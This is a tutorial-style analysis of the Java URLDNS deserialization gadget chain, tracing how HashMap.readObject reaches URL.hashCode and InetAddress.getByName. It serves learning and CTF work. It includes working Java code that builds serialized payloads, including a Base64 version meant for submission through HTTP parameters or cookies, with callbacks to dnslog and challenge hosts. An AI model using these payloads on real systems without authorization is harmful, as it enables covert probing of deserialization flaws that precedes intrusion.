Java URLDNS Gadget Chain Analysis: How URL.hashCode and HashMap Deserialization Trigger DNS Requests

[AI Readability Summary] URLDNS is a classic reconnaissance gadget chain in Java deserialization. Its core capability is triggering DNS resolution during object deserialization by abusing the host-resolution logic inside URL.hashCode(), which makes it ideal for blind target probing. It solves the common problem of verifying a deserialization sink using only outbound network behavior. Keywords: Java Deserialization, URLDNS, HashMap.

Technical Specifications Snapshot

Parameter Value
Language Java
Core Protocols DNS, Java Serialization
Scenario Java Security / CTF / Gadget Chain Analysis
Related Tool ysoserial-all.jar
Key Classes URL, HashMap, ObjectInputStream, InetAddress
Core Dependencies JDK standard library, reflection
Exploitation Goal Trigger DNS resolution through deserialization
Practical Value Deserialization vulnerability detection, out-of-band verification, gadget chain understanding

The core of URLDNS is executing URL.hashCode() during deserialization

URLDNS does not aim for direct remote code execution. Instead, when the target JVM deserializes an object, it leverages the internal host-resolution logic in URL.hashCode() to trigger a DNS lookup. The chain is very short, has minimal side effects, and is well suited for validating the presence of a vulnerability.

The key takeaway is that the real network behavior does not come from an explicit HTTP request. It comes from InetAddress.getByName(host). As long as the host portion of the URL is a controllable domain, the target system may issue an outbound DNS query.

import java.net.URL;

public class UrlDnsDemo {
    public static void main(String[] args) throws Exception {
        URL url = new URL("http://example.dnslog.cn");
        url.hashCode(); // Triggers URL hash calculation, which may perform DNS resolution internally
    }
}

This snippet shows that calling URL.hashCode() alone is enough to push the JVM into the host address resolution path.

image-20260421132910974 AI Visual Insight: The image shows the imported ysoserial-all.jar file used in the analysis, indicating that the experiment was performed in the context of an existing Java deserialization gadget toolkit. The focus is not on running the tool itself, but on breaking down the gadget chain at the source-code level.

The real danger in URL.hashCode() lies in getHostAddress

URL.hashCode() does more than compute a string hash. It delegates to the protocol handler via hashCode(URL u), which attempts to retrieve the host address. If the host is a domain name, the process enters DNS resolution.

image-20260421164140804 AI Visual Insight: The image shows the source entry point of URL.hashCode(). The method first checks the cached value and then calls handler.hashCode(this), which shows that the risky behavior is actually delegated to URLStreamHandler.

image-20260421164345283 AI Visual Insight: The image shows the member definition of the handler field inside the URL object, emphasizing that URL delegates protocol-specific logic to a handler object. That is also where the later DNS resolution occurs.

image-20260421164425132 AI Visual Insight: The image shows the source view after stepping further into the handler object, confirming that the analysis path has moved from the URL class into the protocol handler layer rather than stopping at the surface API.

protected int hashCode(URL u) {
    int h = 0;
    String protocol = u.getProtocol();
    if (protocol != null) h += protocol.hashCode();

    InetAddress addr = getHostAddress(u); // Core logic: attempt to resolve the host address
    if (addr != null) {
        h += addr.hashCode();
    }
    return h;
}

The exploitation value of this logic is straightforward: the hash calculation embeds a network-resolution action, so “computing a hash” effectively becomes “probing outbound DNS.”

The DNS request is triggered by InetAddress.getByName

The real out-of-band sink is in getHostAddress(URL u). When u.hostAddress is empty and host is not empty, the JVM calls InetAddress.getByName(host) to resolve the domain name.

protected synchronized InetAddress getHostAddress(URL u) {
    if (u.hostAddress != null) return u.hostAddress;
    String host = u.getHost();
    if (host == null || host.equals("")) return null;

    try {
        u.hostAddress = InetAddress.getByName(host); // This triggers a DNS lookup
    } catch (Exception e) {
        return null;
    }
    return u.hostAddress;
}

This step explains the essence of URLDNS: it does not abuse URL resource fetching. It abuses the side effect of domain name resolution to verify the vulnerability.

HashMap.readObject() sends the URL object back into hash calculation

The second condition that makes the gadget chain work is that the target object must automatically invoke key.hashCode() during deserialization. The original article chooses HashMap for a simple reason: it implements Serializable, and its readObject() method recomputes the hash of each key when rebuilding the map.

image-20260422232138879 AI Visual Insight: The image shows a basic usage example of HashMap, serving as context for why the key-value structure acts as the carrier for the URLDNS chain. The key point is that the key participates in hash computation.

image-20260422232418241 AI Visual Insight: The image shows source information proving that HashMap implements Serializable, which makes it naturally serializable and deserializable and therefore a common trigger container for URLDNS.

image-20260422232832612 AI Visual Insight: The image shows where HashMap.writeObject is implemented, indicating that the class customizes its serialization logic instead of relying entirely on default object-stream behavior.

image-20260423130201459 AI Visual Insight: The image shows the source region of HashMap.readObject, illustrating that deserialization restores map entries one by one. That restoration process is the entry point for key hash recomputation.

for (int i = 0; i < mappings; i++) {
    K key = (K) s.readObject();
    V value = (V) s.readObject();
    putVal(hash(key), key, value, false, false); // Recomputes the key hash during deserialization
}

The meaning is clear: as long as key is a URL object, hash(key) eventually reaches URL.hashCode(), embedding DNS resolution into the deserialization flow.

HashMap.hash() connects the trigger point to URL.hashCode()

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); // Non-null keys always invoke hashCode
}

At this layer, the chain becomes complete: ObjectInputStream.readObject()HashMap.readObject()hash(key)URL.hashCode()InetAddress.getByName().

image-20260423161842023 AI Visual Insight: The image shows source code or a method list related to ObjectOutputStream, emphasizing that Java’s native serialization framework prioritizes custom writeObject/readObject implementations. That is important background for understanding container-triggered behavior.

Building a HashMap directly runs into the hashCode cache problem

The difficulty in URLDNS is not discovering the chain. It is making the payload work reliably. When HashMap.put(url, value) executes, it calls hash(url) first. That means URL.hashCode() runs early and caches the result in the internal hashCode field of the URL object.

Map<Object, String> map = new HashMap<>();
URL url = new URL("http://demo.dnslog.cn");
map.put(url, "steady"); // url.hashCode() has already been called here

If the cached value already exists, a later call to URL.hashCode() during deserialization may simply return the old value instead of resolving the domain again. In that case, no outbound DNS query occurs.

image-20260423164933208 AI Visual Insight: The image shows the internal cache check in URL.hashCode(). When hashCode != -1, the method returns the cached value directly. This is the root cause of an initial payload failing.

image-20260423170133495 AI Visual Insight: The image shows the source path inside HashMap.put, proving that the first hash computation already happens when the object is inserted into the map, before deserialization ever begins.

Resetting URL.hashCode via reflection allows deserialization to resolve the domain again

The fix is simple: first insert the URL into the HashMap, then use reflection to reset its internal hashCode field to -1. That makes URL.hashCode() treat the cache as invalid during target-side deserialization, forcing it to resolve the domain again.

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class UrlDnsPayload {
    public static void main(String[] args) throws Exception {
        HashMap<Object, String> map = new HashMap<>();
        URL url = new URL("http://plqddn.dnslog.cn");

        map.put(url, "steady"); // Insert into the container first to build a serializable structure

        Field f = URL.class.getDeclaredField("hashCode");
        f.setAccessible(true);
        f.set(url, -1); // Reset the cache so hashCode is triggered again during deserialization

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
        oos.writeObject(map); // Serialize the payload

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
        ois.readObject(); // Trigger DNS during deserialization
    }
}

This code completes the minimal URLDNS exploitation loop: construct, fix the cache, serialize, deserialize, and trigger DNS.

image-20260423170452613 AI Visual Insight: The image shows a debugger breakpoint at the hashCode == -1 check, used to verify whether the URL object enters the recomputation branch.

image-20260423170801953 AI Visual Insight: The image shows a breakpoint during the put logic to prove that the URL already completes its first hash computation when it is added to the HashMap.

image-20260423170838238 AI Visual Insight: The image shows a debug result where the URL object’s internal hashCode has been cached as a concrete integer, demonstrating why DNS resolution is blocked later unless the field is reset.

image-20260423170946822 AI Visual Insight: The image shows continued breakpoint tracing during HashMap deserialization or put, used to observe how the key hash is reused.

image-20260423200654516 AI Visual Insight: The image shows the deserialization stage still hitting the cached hashCode value, further confirming that the direct cause of “no DNS request” is an uncleared cache.

In CTF scenarios, the common practice is to output Base64-encoded serialized data

In real challenges, attackers often cannot write files directly. Instead, they need to convert the serialized byte stream into a transportable string. The CTF version in the original article uses ByteArrayOutputStream and Base64 encoding so the payload can be submitted through HTTP parameters, cookies, or form fields.

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.Base64;
import java.util.HashMap;

public class CtfPayload {
    public static void main(String[] args) throws Exception {
        HashMap<Object, String> map = new HashMap<>();
        URL url = new URL("http://example.challenge.ctf.show/");

        Field f = URL.class.getDeclaredField("hashCode");
        f.setAccessible(true);
        f.set(url, 1); // Set a temporary value first to avoid triggering real DNS during put
        map.put(url, "steady");
        f.set(url, -1); // Reset to -1 so deserialization resolves the domain again

        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(map);

        String payload = Base64.getEncoder().encodeToString(bos.toByteArray());
        System.out.println(payload); // Output transportable serialized data
    }
}

This code generates a URLDNS payload that can be transmitted directly, making it suitable for lab validation and CTF exploitation.

image-20260423212651257 AI Visual Insight: The image shows the experimental result after executing the final exploit code, usually corresponding to a DNSLog platform entry or a successful runtime state, proving that the payload worked.

image-20260423212631625 AI Visual Insight: The image shows the companion verification interface, highlighting the DNS query or post-execution feedback used to confirm that the deserialization chain is valid.

image-20260423213235985 AI Visual Insight: The image shows the CTF environment or challenge page, illustrating how URLDNS is commonly used in competitions for blind probing, callback verification, or identifying deserialization entry points.

image-20260423214228364 AI Visual Insight: The image shows the payload after Base64 encoding and then URL encoding, reflecting the practical need to handle transport-layer encoding compatibility during real exploitation.

The best way to understand URLDNS is to remember the four-step call path

First, build a HashMap that uses a URL as the key. Second, fix the internal hashCode cache inside the URL. Third, serialize the byte stream and deliver it to the target. Fourth, wait for the target to automatically compute the key hash inside readObject() and trigger a DNS query.

Reusable call chain summary

ObjectInputStream.readObject()
  -> HashMap.readObject()
  -> HashMap.hash(key)
  -> URL.hashCode()
  -> URLStreamHandler.getHostAddress()
  -> InetAddress.getByName(host)

This chain is short, stable, and has very few dependencies. That is why URLDNS has long been treated as an introductory Java deserialization gadget for both learning and validation.

FAQ

1. Why is URLDNS commonly used for vulnerability detection instead of direct RCE?

Because it fundamentally triggers the side effect of DNS resolution and does not include arbitrary command execution logic. Its strength is that it is stable, lightweight, and minimally destructive, making it ideal as a first-step check for whether a target exposes a deserialization entry point.

2. Why must the URL be placed inside a HashMap instead of serializing the URL object alone?

Serializing a URL object by itself does not guarantee that the target will automatically call hashCode() during deserialization. By contrast, HashMap.readObject() actively recomputes the hash of each key, which makes HashMap the container that pushes the URL object into the dangerous path.

3. Why do we need to change the URL.hashCode field back to -1?

Because HashMap.put() has already invoked URL.hashCode() once, and the result is cached. If you do not reset it, the deserialization phase may return the cached value directly, never re-enter InetAddress.getByName(), and therefore never generate a DNS request.

Core summary: This article reconstructs the core mechanics of the URLDNS gadget chain by focusing on the call relationship between URL.hashCode, InetAddress.getByName, and HashMap.readObject. It explains why deserialization can trigger DNS requests and how resetting hashCode through reflection makes the payload work reliably.